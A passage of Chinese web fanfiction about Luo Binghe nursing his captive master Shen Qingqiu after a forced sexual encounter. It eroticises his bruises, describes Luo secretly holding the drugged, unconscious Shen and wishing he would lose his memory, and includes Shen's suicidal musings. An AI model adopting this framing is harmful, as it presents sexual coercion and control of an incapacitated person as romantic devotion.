被收紧的腰部和满是淤青的手腕,隐隐约约透露出被枷锁束缚、被暴虐者欺压的气质;昏迷不醒的脆弱姿态,又给了洛冰河一种沈清秋处于天然劣势的控制层面安全感和占有欲。 ———— 沈清秋在修真界的时候,一般是食用辟谷丹。只是魔族这边,肯定是不可能存在修真之人能用的灵草、也不可能会有人能炼制修真之人所有丹药。 故而,洛冰河只好四处奔波,找寻魔气含量较少、修真者也能食用的食材,将其制作成菜肴,放置到沈清秋的门口。 只是—— 每次敲门,沈清秋都不曾开门,更别说食用。 洛冰河辛辛苦苦搜寻、制作的食物,就像是他这个人似的,被忽略得彻底。 这种付出努力却得不到回报、甚至都不知道对方有没有收到自己‘付出’,甚至有可能完全不被在乎的感觉,实在是不美好。 叠加上每次洛冰河出门,都能收到其他人‘金屋藏娇’‘气血方刚’‘足不出户’等一系列调侃和评论。 洛冰河脸上挂着食髓知味的神情与众人打着哈哈,心底却在暗自叹气: 三天来,沈清秋不仅没开过门,就连窗口的那条缝隙,除了一开始的清洗处理之外,完全看不到对方的踪迹。 若非他还能感知到屋内之人气息尚存,他真的怀疑这家伙还有没有命在。毕竟以他观察到的情况来说,对方的姿态绝对算不得好。 算了。洛冰河摇摇头,心中已有定论: 哪怕拼着被师尊厌恶撵出、责骂呵斥的风险,今天也无论如何,都要推开那扇门! 洛冰河下定决心,却在推门之时察觉到极为明显的阻力——沈清秋竟然布置了防止外人入内的阵法! 明明为自己清洗疗伤之时手指都颤抖成那样,居然还能抽出功夫和精力,用寝宫仅有的物件来布下能阻拦防御的阵法—— 真不知道该说他随时随地留一手还是该说他真是天资聪慧毫不嫌弃器材简陋、‘因地制宜’布阵拦人。 洛冰河简直哭笑不得。 这家伙的防备心真是一如既往的强,即便虚弱成这样,居住在弟子的府邸寝殿,居然还要布上阵法? 这是防谁呢?嗯? 明明是弟子的洛冰河,却突然有种养逆反期的好大儿的感觉。 尤其是,这个好大儿不仅是物理、情理上的‘不听话’,还处处谨慎、各种警惕,其备下无数后手的性子里,竟然还能剥析出几分‘生活绝对不安定’的可怜兮兮。 算了算了,毕竟是他理亏。 虽然当时是急从权,但最后占便宜的却是自己。既然都占了便宜,还不允许床伴发脾气吗? 洛冰河将重新制作好的饭菜放下,先是轻轻敲门,用一贯的恭敬和温和喊道: “师尊?师尊?” 在得不到对方回应后,洛冰河的叩敲之声越来越大,喊话声音也越来越高。 可无论如何,却始终听不到内部的应答。 ‘罢了。’ 洛冰河摇摇头,开始破阵。他心意已决,今天这个门,要么对方打开,要么他干脆砸碎。至于之后要怎么解释,先等见到对方的面再说! 如果里面的人有精力应对,必然会操纵阵法或发声呵斥;可如果里面的人自顾不暇,他破阵而入,反而能将这个从不知道‘求助’如何写的家伙‘救’出来! 虽然说洛冰河很满意沈清秋不会随意向其他人‘表露脆弱’‘请求帮忙’,但这个‘其他人’,绝对不包括自己! 待洛冰河花费一番力气后,即使是阵法破裂,也不曾听到任何声响。 等他踏入屋内,终究是无奈的在心里叹口气:‘果不其然。’ 一身白衣的沈清秋身形蜷缩的趴在床铺之上,后背满是溢出来的血迹,仔细观察还能看到细微的抽搐。 洛冰河青少年的体型相对于成年男性有些小,这一点在之前已经显示过一次。只是此时,有了更具象化的表现。 因为衣服略短,所以沈清秋带着淤青的手腕和脚踝没有衣物的遮盖,就那样大张旗鼓的暴露着,与洁白的衣衫形成触目惊心的对比。 肩膀和收腰略紧,所以沈清秋腰间的绳系的很宽松,随着他无意识的抽搐而露出大片肌肤。 无形的诱.惑最为致命,一个成年人穿着属于少年的衣服,本就是一种被他人气息包裹的象征。 就像是情侣之中,如果刚洗完澡的女性身上只套着堪堪到大腿根的男友衬衫,这个杀伤力是巨大的。 被收紧的腰部和满是淤青的手腕,隐隐约约透露出被枷锁束缚、被暴虐者欺压的气质;昏迷不醒的脆弱姿态,又给了洛冰河一种沈清秋处于天然劣势的控制层面安全感和占有欲。 叠加少年本就压抑不住岌岌可危的理智,不安好心、欲犯上行禁忌的情愫。 所有的一切,完美击中了洛冰河的保护欲、拯救欲、占有欲,以及……‘沈清秋必须是他的,任何人都不能争抢’的偏激。 他是他的。只能是他的。唯有他才能‘赐予’对方这样的姿态,唯有在他面前,对方才可以展现如此脆弱不堪,惹人怜爱的样子。 洛冰河紧盯着对方遍布伤痕的脖颈,以及喉结上极为清晰的、属于自己的牙印,下意识咽口唾沫,喉结上下滚动、嗓子发痒。 接着像是意识到了自己的不对劲,洛冰河连忙甩甩头,将那些不干不净的禽兽想法甩出脑外,开始思考后续。 行了。破案了。 沈清秋一直‘不回复’,不是‘不想’,而是‘不能’。 嗯。这个‘回答’,令洛冰河挺满意……啊不是,是挺心疼。 他绝对不会承认,当他得知‘沈清秋只是不能回复、绝对不是不想回应’时,心里突然涌出来的甜蜜。 他心心念念的人,不仅从高空之上来到自己身边,还与他有了一场鱼水之欢。结束之后,更不曾‘忽视与不回应’,只是单纯累着了、没精力回复而已。 那么,身为一个贤良淑德的好弟子,洛冰河一定要替对方请魔界最好的大夫,用魔族和修真界最好的疗伤药,一点点抚平对方的伤口,令对方恢复最佳状态! 他还要寻世间最珍奇的法宝与灵物,修补对方因拼杀而损失的生命本源;用极具滋养效果的奇珍异宝,制成美味佳肴,以食补的方式为对方调养身体,恢复巅峰。 等沈清秋身体恢复,他还要带对方在魔界各地四处游荡。不需要什么目的地,只要对方跟在他身边就好。 无论是高山之巅、还是平坦草原:无论是海底寻宝、还是高空飞行;无论是繁华都市、还是无人荒漠,他们都将携手去看。 47.互相伪装的温馨日常 <冰九11>不是我,行行行都是我的错 洛冰河的脸上避不可避的升起一片红晕,眼神有些闪躲,张张口却又没办法说不是因为他。 只是——虽然是,但沈清秋的昏迷绝对不是因为这个!绝对! ———— 当洛冰河破阵而入的时候,沈清秋早已昏倒于床榻之上,不知多久。 糟糕的伤口、无法处理的后背、不可能去清除的内在。最后引起一场,发炎导致的高热;虚脱和疲惫导致的彻底昏迷。 当然,如果情况更严重一点,或许‘昏迷’会变成‘长睡不醒’。 “洛圣子……要,节制些啊。” 大夫医者仁心,看着情况如此糟糕的‘床奴’,虽然明白这是对方的房中事,却还是忍不住叹口气: “虽说床奴能不能下床并无所谓,但您自己的东西,多少还是要爱惜些。责罚如此严重却任他发烂、伤口溃烂成这样也不上药,最后很容易引发感染死亡的。” 若非对方体内另有一股气息在为他续命,说不定都不需要找他,直接包块白布埋了吧! 另外,好南风无所谓,你情我愿的事情,他一个大夫没什么好插手的。可有些东西不新鲜却还要保留,实在是伤身啊! “还有……他是男子,您的东西即便放再久也不可能怀孕,还是别让人继续含着了。” “……” 虽然大夫说的不算直白,但是相信大家都懂。 洛冰河的脸上避不可避的升起一片红晕,眼神有些闪躲,张张口却又没办法说不是因为他。 只是——虽然是,但沈清秋的昏迷绝对不是因为这个!绝对! 羞涩和某种隐秘的情感涌上心头,直让他疯狂摇头: 不是你想的那样啊!他不是那么变态的人!真的不是他搞得! 洛冰河看着大夫克制自己‘别人的事不要插手’,可是又‘实在看不下去必须要说’的为难样子—— 心里只有无奈和憋屈。 没错,沈清秋身上的淤青很大一部分是他搞的;手腕和脚踝、腰部、后背的掐痕,也确实是他干的;甚至沈清秋自己肯定不会清理的东西,也是他的…… 想到这里,洛冰河只想捂脸: 行行行,都是他的错! 怪他没有强硬点给对方处理伤口,怪他怎么都三天了才破门进来,怪他居然没发现对方已经虚弱成这样,怪他一开始…… 真的是。 洛冰河心里愤恨又无奈:反正一切都怪他就是了! 大夫瞄一眼躺在床上的人,想想自己一个外人还是别给自己招麻烦,留下一地药丸转身就离开,却还是耐不住良心边走边不放心的嘱咐: “他的身体亏空严重、体质也与魔气不合,洛圣子切记节制啊!” 洛冰河:…… 这个真不怪他!!! 是沈清秋这家伙自己作的!受伤之后非要逞强不说,还将他关在门外,若不是他破门而入,这家伙死了都没人知道! 他明明还心心念念打算给对方补身体,是他不让他进门啊!!! 等大夫离开,洛冰河看着床上的人满脸纠结。 这家伙将自己撵出去,又去水池里沐浴清洗,结果伤口依旧溃烂,该清理的也没处理?就算是某些地方没处理、后背碰不到,也不至于把自己搞成这样吧? 这生活水平,一点也不像是身经百战的仙尊啊…… 看看,现在伤口发脓发臭,连带着衣服一起结痂,便是洛冰河想给他换身干净衣物,也要先‘扒’上一层皮… 简直是——作孽到没苦硬吃。 洛冰河叹口气,认命的将人抱起来。 想了想,还是喊出梦魇,让他给怀中人造个梦。 就这一地鸡毛,处理伤口不可能好受的,还是让灵魂沉睡、做个好梦吧。 梦魇难得在非打架时期被喊出来,有些惊奇:“几日不见,你怎么舍得喊我了?” 等他看着怀里居然有人的洛冰河,颇为好奇的打量了一圈,忍不住抽了抽嘴角。这人,有点面熟啊—— 待他仔细观察一番,最终确定,能被洛冰河抱怀里的人,岂止面熟,简直太熟了。熟到他设梦魇杀人,都可以用这张脸、这个身份去栽赃陷害,完全不会担心有人怀疑。 梦魇简单思考了一下措辞,最后还是压不住心里的八卦之火,暗搓搓问情况: “你们好上了?”不过虽然是抱着,但怀里这位的状态,可不怎么好啊。 梦魇又仔细看了一下,这家伙的情况何止不好,简直是快被玩坏了! “嗯……虽然这家伙在修真界对你不好,但是……呃……也不至于弄成这样报复吧?” 洛冰河:…… 不,不是他。 已经好几次了,他有苦说不出啊。 是沈清秋自己作的,不是他搞的!他虽然有想法,但是还没实施呢! 算了。洛冰河闷闷的压下反驳。没人会信的。 说到底还不是他的错?他认还不行吗! “给他造个梦,让他睡熟些。” “喂,我的梦魇术是困人杀敌的。” “赶紧的。” “呵。男人。自己把对方搞成那样,现在却怜香惜玉了?” “……” 丫的。 <冰九12>记忆之中的,过往 昏迷之人,本能的对疼痛产生反抗,更是会在洛冰河割开结痂、触碰感染伤口之时,疯狂的躲闪和乱逃。这些压根没多少力道的推阻,反倒像是小猫抓挠似的,只能彰显对方的弱小与无助。 ———— 沈清秋的伤口溃烂的很严重、整体状况也极为糟糕。 修真界的人本就会受到魔气的腐蚀,有灵力护身还好,没有灵力的普通人也能勉强生存。 但,如果有人经历过灵力洗刷、并且还是修为极高的修真者,失去灵力之后停留在魔界,会比普通人更难以抵抗。 这其中或许有登高之后跌落的原因,但具体原因,却从来没人能给出答案。 沈清秋伤口发炎后没有得到好好处理,现在已经化脓,本就在无时无刻腐蚀一切的魔气,更是无孔不入的阻拦着伤口的恢复。 伤口的处理并不算困难,可后续的恢复却很麻烦。如果伤口一直暴露在空气中,不说细菌感染的几率有多大,翻开的皮肉不能重新生长,就永远会新生脓肿。 当然,最重要的一点,是对方的反抗。 无论是被他人轻微的触碰,还是撕裂与衣物生长在一起的结痂,沈清秋都会下意识的躲避与抵抗,剧烈挣扎的身体语言极为明显的表达了对方的恐惧与抗拒。 只是这一点,在对方清醒之时,是完全不可能看到的。 洛冰河将人抱在怀里,就着温水一点点撕开和皮肉粘连的内衫,看着对方紧皱的眉头和委屈吃痛的表情,忍不住动作更轻了些: “您清醒的时候,半点也看不出会怕疼啊。” 不仅如此,即便是过度使用禁术后连抬起手指都会颤抖,可沈清秋还是虚弱又坚定的将洛冰河撵出屋外,跌跌撞撞的为自己疗伤、布下能抵御外敌入侵的阵法。 从这一点来看,倒也能反衬出沈清秋现在的状况之糟糕,连基本的意识都不甚清醒、只能依靠本能来躲避危险了。 洛冰河一边小心翼翼的用匕首割开伤口,小心处理里面的淤脓;一边尽可能的压制对方疯狂挣扎的动作,不去触碰对方其他伤口。 只是,昏迷之人,本能的对疼痛产生反抗,更是会在洛冰河割开结痂、触碰感染伤口之时,疯狂的躲闪和乱逃。 可惜这些‘反抗’太轻微了,压根没多少力道的推阻,倒像是小猫抓挠痒痒似的,只能彰显对方的弱小无助。 此情此景,面对几乎只剩下本能的沈清秋,洛冰河本该是心疼的。 只是这样一个平日里冷漠高傲、压根不存在‘疼痛’之人,却在自己为他清理伤口之时,下意识的各种逃避和推阻,巨大的反差萌之下,愣是将洛冰河给逗笑了: “您要是怕疼,就该早点喊我替您处理。您自己够不着,却还是硬撑着,最后将自己搞成这副模样,偏其他人还以为是我虐待于您。” 想到其他人对他的‘误解’,洛冰河实在无奈的拍了拍对方紧闭双眼的的侧脸: “弟子可真冤啊。” 不过吐槽归吐槽,看着因自己的努力而缓慢处理好的伤口,想着沈清秋醒来后可能会存在的‘夸赞’,以及对方现在无力又无法抗拒的‘挣扎’。 洛冰河嘴角的微笑压根压不住。 只是...随着时间的流逝和药效起作用,对方的气力开始恢复,挣扎力度也越来越剧烈。若说之前是柔弱无力,现在就有些疯狂了。 不管之前多‘可爱’,当对方的挣扎力度越来越大、越来越不听话、越来越压制不住的时候,沈清秋的所作所为就显得并不友善了。 尤其是—— 沈清秋的剧烈动作,直接令更多的伤口撕裂,洛冰河小心翼翼涂抹的药物和绑好的绷带全白费了! 洛冰河是个有原则的人,他不会将火撒在受伤之人身上,故而……开始将愤怒转移到梦魇身上: “喂,你到底造的什么梦,他反应更激烈了!” 只是梦魇好像发现了什么有趣的东西,伸出一缕黑色的雾气,邀请洛冰河一同入内: “你自己进来看!是些非常有意思、对方绝对不想让人知道的事情。” 洛冰河很想拒绝,毕竟偷窥别人隐私,是件很不道德的事情。 只是—— 如果有些事情梦魇知道而他不知道,那师尊的隐私不就被梦魇偷偷了解了吗!所以他要跟着梦魇,做一个监工、不让他触碰对方的绝对禁忌才行! …… 破烂的庙宇里,一堆咬牙切齿的乞丐聚在一起抱火取暖。另一头,显得有些形单影只的七八岁少年,却高扬着头,像是斗胜的公鸡一样,用视线蔑视着对方的一群。 他的衣衫与其他人一样的破烂不堪,脸上和身上都是战斗痕迹。可胜利的神情为他增添太多的神气,就连还流着血的额头,都像是刻意绘画的战斗徽章。 …… 漆黑的屋子里,带着寒意的冷风吹进厅堂。十来岁的少年用干净白布沾着冷水,一点点清洗伤口。隆冬腊月,外面的大雪亮得能反射月光。 少年清洗完伤口后也不涂伤药,就那么裹紧衣物和小破被,看着偶尔投掷下的月光,静静发呆。 …… 夏日炎炎,一堆少年在嬉笑着互泼凉水,忽有一少年喊到:“他来了!” 接着几人打趣,聚众将经过的少年郎压入溪水中,不让他的头颅露出水面。众人笑哈哈的‘痛打落水狗’:“让你狂,现在还狂吗?” …… 春意绵绵,染着桃花香的温柔女子小心翼翼为二十来岁的青年上药: “这是去哪里打架了,怎么受这么重的伤?” 青年不言不语,只是静静倚靠在女子怀里,闭上眼睛。 …… 威严的大殿之中,青年直挺挺的跪在地上,灵力全失、衣衫褴褛。 “是你杀了柳清歌。” 青年张张口却不曾辩解,最后什么也不曾述说。 一番探讨后判定惩罚,青年交出属于副掌门之位的令牌,从此锁入清静峰,再不踏出房门半步。 …… “这就是那个以色上位的峰主。” “清静峰之主,果然如传闻一般娇美玲珑,不知这滋味……” 斩尽魔族高端战力,风言风语依旧不止。青年默默签下放弟子离开的单子,仰头凝视窗外的月光。 …… “昔日的沈仙尊、而今的阶下囚,不知这仙尊滋味,又当如何?” “师尊,别来无恙。” “好好好,仙人的表现,就是与我等不同!” 青年燃尽血脉、拼上灵魂,却还是被天魔血强控,被迫沉沦。 <冰九13>除了他,没有人在乎沈清秋 被众人知晓的逆鳞,是不可被触碰的禁忌,还是吸引其他人集火的‘弱点’?举世皆知的逆鳞,究竟是心头肉,还是骨中刺? ———— 修真者亦是肉身凡胎,虽能使用天地灵力强化自身、移山填海,但总归不是真的无知无觉、不死不灭。 世间怎么会有人不怕疼呢? 怎么会有人能面无表情的忍受一切,沉默寡言的接受最终的定论,交出能保命和对抗的兵器,认下所有或真实或虚假的‘罪名’? 沈清秋的性格极为割裂,他一方面谨守道义礼法,坚决不逾矩半步;一方面又风流荒唐,最爱拈花惹草。他能忍受所有苦痛,坚定的举剑对打;亦会咽下所有苦涩,不发一言的任其他人问责。 当事情发生之时,其他人会下意识推卸责任。可沈清秋,却会跨步向前,将众人挡在身后。甚至说,即便其他人误解于他,他也会坚定的做着‘认定’的事情。 就像是很早之前,那一场苍穹山上的魔族入侵。沈清秋为了‘救’柳清歌耗尽灵力却拯救无果,遭受惩罚后交出副掌门的令牌、 连着修养数年都不曾恢复。 可当掌权人不在山中,战场需要人撑场子之时,沈清秋还是出现了。 即便被其他人的指责缠身、即便对面的魔族恶意满满、即便那些没脑子的弟子们随便几句话就被调转了矛头。 沈清秋依旧以大无畏之资,首当其冲的将魔族几个顶尖战力斩于剑下。 可惜之后的流言蜚语,依旧没有放过他。 那件事发生不久后,被当成少年英雄的洛冰河曾在后山竹林中偶遇过沈清秋。一身单薄青衣,独自对着悬挂喧闹的飞流瀑布举杯对饮。 洛冰河并未刻意收敛声音,故而沈清秋很给面子的转过头来,向着脚步声传来的地方投入视线。 僵硬而标准的动作、素净而精致的面容。那样的空洞神情里,就像是看不见万物般的无神。浅淡的瞳孔里,是不被人理解的茫然与无措。 那是一种连他自己都讲不清楚的无能为力与内疚,就像是挽大厦之将倾而无果、数次想要破局而不能的——绝望。 这样平静的、空洞的、无助的、无知无觉的神情……仿佛根植于他精神的本能、他的本我、他最深处的性情,是镌刻在他的灵魂与骨血中的,最不可改变的、悲凉。 —— 梦魇的能力有时候真的过于超标,毕竟记忆和过往是每个人底层逻辑的构成方式。而有些不愿让旁人知晓的东西,往往都会埋在回忆深处。 虽然洛冰河看到的情景不算很多,但这些过往也算是清楚够用。 沈清秋不是不怕疼——只是没人会给他处理伤口,也不会有人为他上药。久而久之,不被人关注的孩子自然不会再向外界寻求帮助,他也习惯了孤身一人。 除非,前往烟花地——那些喜用桃花香的女子们,反倒是会给予沈清秋一些‘关怀’。 ‘怪不得。’ 当熟悉一个人的过往后,对分析那个人的性格与行为准则是很有帮助的。尤其是他们‘看到的’这些零碎很具有代表性,洛冰河心中对沈清秋的别扭性子也略有了解。 当然了。苍穹山的清静峰之主不像是会吃苦的人;都已位居修真界战力巅峰,更不该是‘孤家寡人’‘无人关怀’。 可这些‘过往碎片’,却明明白白的彰显了,沈清秋的经历、并不如他展现出的那样光鲜亮丽。 孤僻冷漠的外表下,是不会有人回应的失望。 因为不曾得到,所以不会期望。因为没有期望,所以习惯了忍受一切。 孩童能肆意哭闹,是因为他周围有着能为他保驾护航的家人。成年人不会表露脆弱,是因为他们是替人解决麻烦的大人。 脆弱和哭泣,是被保护之人,才配拥有的东西。 可——这不对啊。 洛冰河的记忆没错的话,沈清秋身后,不是站着苍穹山的掌门? 岳掌门对沈清秋那可是见到就得贴上来,各种资源往清静峰砸,所有人都知道沈清秋是他的逆鳞…… 就连苍穹山的其他峰主,除了柳清歌那个没脑子的,哪个敢与沈清秋争锋?只不过沈清秋确实死守清静峰,若无必要,半步也不会踏出…… 如果连修真界第一大派的掌门和峰主都要暂避锋芒,天下还有那个胆肥的敢招惹他? 除非…… ‘对。’ 洛冰河福至心灵,突然冷笑一声。 所谓‘网开一面’、‘过犹不及’。 太完美的人和没有软肋的人过于危险,其他人虽然会与之接触,却也会谨慎小心。 但如果一个人行事极为妥当,身边却总有一个不合群的家伙,并且他还处处维护对方,愿意为了这个‘不听话的弟弟’付出赔偿—— 这个一个拥有极为明显的‘把柄与软肋’的人,才是‘正常人’。 同理。按照‘弱点本就是故意放出来显得合群’这条来说的话—— ‘兄友弟恭’的岳掌门,在‘不需要弱点’之后,放任他的逆鳞流落魔界,被人侮辱,被世人谩骂嘲笑。 明明平日里恨不得贴在对方身上、日常表现的跟几百年没见过面似的,却总会在两人见面后没几句话表露出被嫌弃的神情,活像是‘委屈的忠犬’。 所有人都知道沈清秋是岳清源的心头肉。 拿捏沈清秋,就相当于拿住岳掌门。 那么—— 被众人知晓的软肋,是不可被触碰的禁忌,还是吸引其他人集火的‘弱点’? 举世皆知的逆鳞,究竟是心间血,还是骨中刺? 便是如这次,沈清秋的落败,他不信不是修真界其他人围攻岳清源的手段之一。 若不是他与洛冰河有些名义上的‘师徒’关系,被魔尊用来试探洛冰河的决心。沈清秋一介修真界巅峰战力,所遭受的,远不及此。 而岳掌门言辞上的在乎,看起来极为偏爱的各种‘赏赐’。 以及——被感天动地、昭告天下的逆鳞—— 何尝不是魔尊势必要将沈清秋绑来魔界、留他性命、当众折辱的原因? 软肋。 哈哈,软肋。 原来岳掌门的‘弱点’,只是为了彰显仁义和‘普通’,防止过于‘完美’而被人警惕啊。 洛冰河忍不住大笑起来,身上随之浮出一身冷汗。他为掌权人的深沉城府,也为倒霉蛋的‘默默躲开、不曾反驳’。 这般的心计与筹谋,真不愧是正道魁首、修真界第一大派的掌门。若非沈清秋自身能力极强,平日里鲜少出门,这与‘活靶子’有什么区别? 魔尊说得不错。修真界那群人自诩正道,其行为做事,却比之魔界,更要可怕数倍。 就连感天动地、众人皆知的‘兄弟情’都如此虚假可笑,这世间还有什么是真的? 洛冰河将怀中人小心翼翼的抱紧,心里再次确定:除了自己,没有人配得上师尊,也没人会真正在乎看重他。 那个虚伪的岳清源不是,想用他打击岳清源的修真界人不是,想用他打击修真界的魔尊不是,那些想将他当成床奴玩弄的更不是。 除了他,也只有他。只有他才是真正在乎、抛弃一切也要护着他的人。 沈清秋只能是自己的,必须是自己的。 为此,他神挡杀神、魔挡杀魔。 —— 小心的处理完伤口、涂抹上药后,洛冰河私心里不想给沈清秋换上衣物。 当然,肯定不是因为他有什么心思,对方伤的这般重,几层布料包裹着,对伤口的恢复一点好处也没有! 只是很快他就打消了这个想法。 美人在怀,又是心心念念之人。趁着对方昏迷熟睡抱着也就算了,若是无衣物遮挡,他不敢想自己会做出什么禽兽事情。 这个‘君子’,未免太难了些。 <冰九14>既然死不了,那就让敌人死吧 死去才是真的四大皆空,活着就要拼尽全力。所以,既然他活着,那就努力活的舒服一些,让敌人瑟瑟发抖吧。 ———— “师尊,你疼就说出来,弟子一直在。”“师尊,其他人对你不好,所以上苍派弟子来护着你。”“师尊,不要拒绝弟子。” 叽叽喳喳的声音在耳边响起,扰的人心情烦躁。莫名其妙的话语更是令人摸不着头脑,只想将说话之人丢出门外。 沈清秋的意识在黑暗中待了太久,待他拨开面前的迷雾,睁开眼帘之际,看着明显属于魔界的装饰,心里暗叹句‘还没死呢’。 居然还活着啊。 什么样的灵丹妙药能将他近乎耗尽的生命本源、几乎破碎的灵魂质地给补全,令他重新睁开眼睛,返回人世之间? 真是个具有神奇功效的天材地宝,等他恢复,可以多去搞一些。甭管是留作底牌,还是用来挽留敌人的灵魂、令对方饱受折磨而不死,都是极好的。 嗯……虽然说,他没死的原因,十有八九是‘他的敌人’想要更好的折磨他。 讲真。沈清秋还以为这次绝对活不下来。 三天内接连大招频出、四处被困,靠献祭生命本源施展禁术持续对打:再发现对方想要他雌伏于人时、更是拼着灵魂寂灭也要对打;最后不知中了什么毒,连肢体都虚弱到无法控制,软绵绵的挣扎跟假的似的。 尤其是。 沈清秋瞟一眼发现他清醒后立刻噤声,拘谨又恭敬的站立一旁,看起来很想给自己喂茶水的某人。 当时他被人强行压下折辱,反抗无力之下怒火直烧心肺。等尘埃落定,他被人‘抱’到床铺之上,愤恨之下踹出去的腿脚亦是无力至极,下地之后更是路都走不稳当。 都这个样子了,沈清秋本以为必死无疑,故而想死之前收拾一番,整理好‘遗容’之后从容赴死,也算是一桩美事。 但现在看来——不知是魔界的医疗水平太高,还是魔族掌握着什么能活死人肉白骨的灵丹妙药,居然将他从地府拉了出来? 而且,现在的他还给旁人添了麻烦,得劳烦这个平日里压根没什么接触的弟子,来照顾他这个病号。 沈清秋叹口气,身体的虚弱使他产生莫名的疲倦。众所周知,当一个人身体不好的时候,他就容易胡思乱想。而当一个人开始胡思乱想的时候,他就很容易自暴自弃。 现在的沈清秋,在发现自己都这么搞都死不掉的基础上、叠加虚弱的连一丝灵力都感受不到、完全施展不出来一介仙尊应有的力量后,开始emo了。 都说恶人自有天收。 可天,怎么却还让他活着? 老话都说祸害遗千年,所以他实在是作恶太多,连老天都不愿意收? 真的是。 打架,可败,不可降。所以他败了,本该死。 只是太糟糕了,当没死成。 后面又打了一架,又败了。又没死。 活着太苦了,而且没有意义。如果存活无用,为什么不去死呢。 可真让他去寻死,强烈的求生欲又会拖着他继续停留在这世间。 死掉才是最舒服的,活人还要为了各种条条框框艰难存活。 可他现在,好像已经失去了‘长眠’的资格。 如果一个人不会死亡,那么他就失去了最后一条退路。当其他人都在挣扎的活着时,无法死亡的人,连最后的尊严都没有。 ‘哎。’ ‘罢了。’ 沈清秋也不想再去思考‘生与死’这种看一眼就知道会很头疼的问题,更不想看见旁边那个不知道该干什么的‘弟子’。晕晕沉沉的思绪就像是沾了水的棉花,令他对万物都是水中月、雾中花。 他有些认命的将眼帘合上,可惜这次周公不收他。虽然困,但并不能入梦。 无奈,那就开始设立之后的人生目标吧。 既然苍天让他活着,走了一遭阴曹地府,又看完了回马灯(梦魇的梦境)都没死干净,那就活吧。总不能他闲的蛋疼,用自己这条不知道为什么没死成的命、去反复试探死亡的边界,尝试更多的花样死法吧? 他还没那么闲,与其去追究那些虚无缥缈的东西,还不如将仇人名单拉出来列一下,一个个的追杀过去,也算是出一口气。 他要将敢算计自己的人杀死;要继续混吃等死的将清静峰丢给下一任峰主;还要想方设法的颠覆魔界、彻底绝了魔族的根。 修真界的人算计他落败,魔界的人当众折辱于他。这些若是他死了,便也罢了。可现在他既然活着,就必然要一一报复回去。 以仇恨为动力,总比无事可做的强。 至于杀死那些人之后如何,到时候再说吧。人生哪有什么意义,干完眼前事再说。 虽然闭上了眼睛,沈清秋的耳边却不断传来嘟嘟囔囔的声音。要么是告诫他下次别在独自疗伤、要么就是让他好好养病,此情此景,一时间竟不知道谁才是长辈。 虽然旁边这个看起来就不怎么聪明的玩意也参与了折辱自己,但清算起来,这却只是个被推到台前、实施暴行的工具人罢了。没什么脑子和心计,无非是随波逐流的被别人用来算计、捅伤他的刀。 一把会被人操纵的匕首,折断就是了,不值得额外花费心思。 …… 沈清秋清醒后很快睡去,就像是酒醉后迷迷糊糊醒来,接着继续沉睡。只是这次的睡颜,明显比之之前要更拘谨防备许多。 ‘果然。’ 洛冰河看着对方沉睡却依旧冷漠的面容,骤然收紧的动作和明显规矩许多的姿势。心里暗叹一口气。 之后若是想抱着对方睡,怕是难了。 之前的几日,洛冰河终究是没能恪守君子风范,模仿着梦境熏上几层桃花香,小心翼翼的从背后将对方揽在怀里。在对方挣扎之前,轻柔的拍打着对方的肩膀,将自己的额头静静抵在他的颈窝。 这种极为依恋暧昧的姿势,反倒不会引起对方的抵抗。 可能是记忆碎片的荫蔽,也或许是花香安神。沈清秋不仅睡的很沉,还会无意间调整姿势,错开背部的伤口,依靠在洛冰河怀里。 双方不需要别的语言,也不需要更近距离——即便是曾经的负距离接触,沈清秋给人的感觉,都远不如现在更真实、更亲近。 只是很可惜。沈清秋恢复的太快了,这才第三日,便开始恢复警惕。 别说同床共枕的相拥,就算是站在他身边,沈清秋都恨不得将他丢出去。 清醒后的人,眼中从来没有他,也没有其他。若说真要追究有什么,大概是,他自己也不知道为什么却就是要‘活着’? 眼前人就像是满身是长针的刺猬,坚决的将柔软深深掩埋,将一切都抵挡在外,时刻警惕、从不松懈。 即便是夜深人静,只要稍微有一丁点的动静,对方也会即刻惊醒,接着睁开双眼,进入备战状态。 这样什么时候都不放松的姿态,真是太男频,太严肃,太正统了。 明明是第一门派的峰主之一,怎么却像是天天在剑锋之上走钢丝? 想必一定是, 环境太不友好了些。 不过。洛冰河看着沈清秋的睡颜,眼里溢满了势在必得的占有欲: 既然沈清秋当‘仙尊’如此不舒服—— 好好的做个‘乖巧听话’的‘伴侣’,洛冰河也愿意陪他玩‘师慈子孝’的过家家。 〈冰九15〉两个人中,到底那个不正常? 一个没啥能力、又有点小心机的工具人。曾经在他名下待过一段时间,后面到魔界这边当卧底,以曲线救国的形式将他救下,现在是他名义上的‘主人’。 ———— 沈清秋短暂的清醒后又很快睡去,这次的觉就要清浅很多。别说洛冰河想要尝试将人抱在怀里,就是稍微站的近一些、小心的替对方掖一下被子,都能明显感受到沈清秋的烦躁。 如果沈清秋一直是这样,或者说洛冰河之前没有‘得逞’过,或许洛冰河还能忍受。可事实并不是这样的,现在半梦半清醒的沈清秋,实在是令洛冰河想念之前深度睡眠到只剩本能的沈清秋。 之前的三天里,许是在魔界的生活实在是糟糕之际,应对起来也过于疲劳,在洛冰河的‘努力伪装’之下,陷入深度睡眠的沈清秋甚至都没有将对方推开。 面对身受重伤、沉睡不起的沈清秋,洛冰河做了无数思想假设、拼命按耐心火。为了防止‘外人窥探’,更是一次又一次的加固防御阵法。 每次‘路过’沈清秋所在的宫殿都要加深几层阵法,每次抬眼偷瞄都觉得对方会随时睁开那双薄情的丹凤眼,一脸厌恶、抵触的冲他发怒。 可——即便洛冰河心里激动又害怕,每当洛冰河看沈清秋超过半刻,总是会忍不住的东张西望一番,确定没人后用最快的速度将房门关得严实,飞速点上助眠香之后……将人抱进怀里。 这样很不对,他身为弟子更不该这样。这是一种绝对要被杜绝、一点点风声都不能让外人知道的事情。 莫说沈清秋会如何抗拒。 就算是‘清醒’‘理智’状态的洛冰河,都是要吐口唾沫、占据道德高地去指指点点的! 可——谁能拒绝将心心念念的人拥进怀里?那可是闪耀了洛冰河半个青春、心里记掂了那么多年的人啊。 理智上洛冰河会想方设法躲远点,压制自己的不正确思想;可情理上……洛冰河恨不得将对方揉在骨血里! 只是太短了啊。时间太少了……才三天,仅仅三天,对方怎么就醒了呢……虽然现在不算‘清醒’,但这突然加强的防备心和随时可能会‘醒来’的危险……都令洛冰河不敢轻举妄动啊! 他师尊要是能一直沉睡,或者干脆失忆、心智退化就好了。 等等——他在想什么?! 洛冰河狠狠给自己一拳。 他怎么能那么想!他应该盼师尊早些清醒,早日恢复健康才对! 之前的想法绝对不是他的本意,他被魔界的思想污染了!急需师尊的正确指导和言传身教! ———— 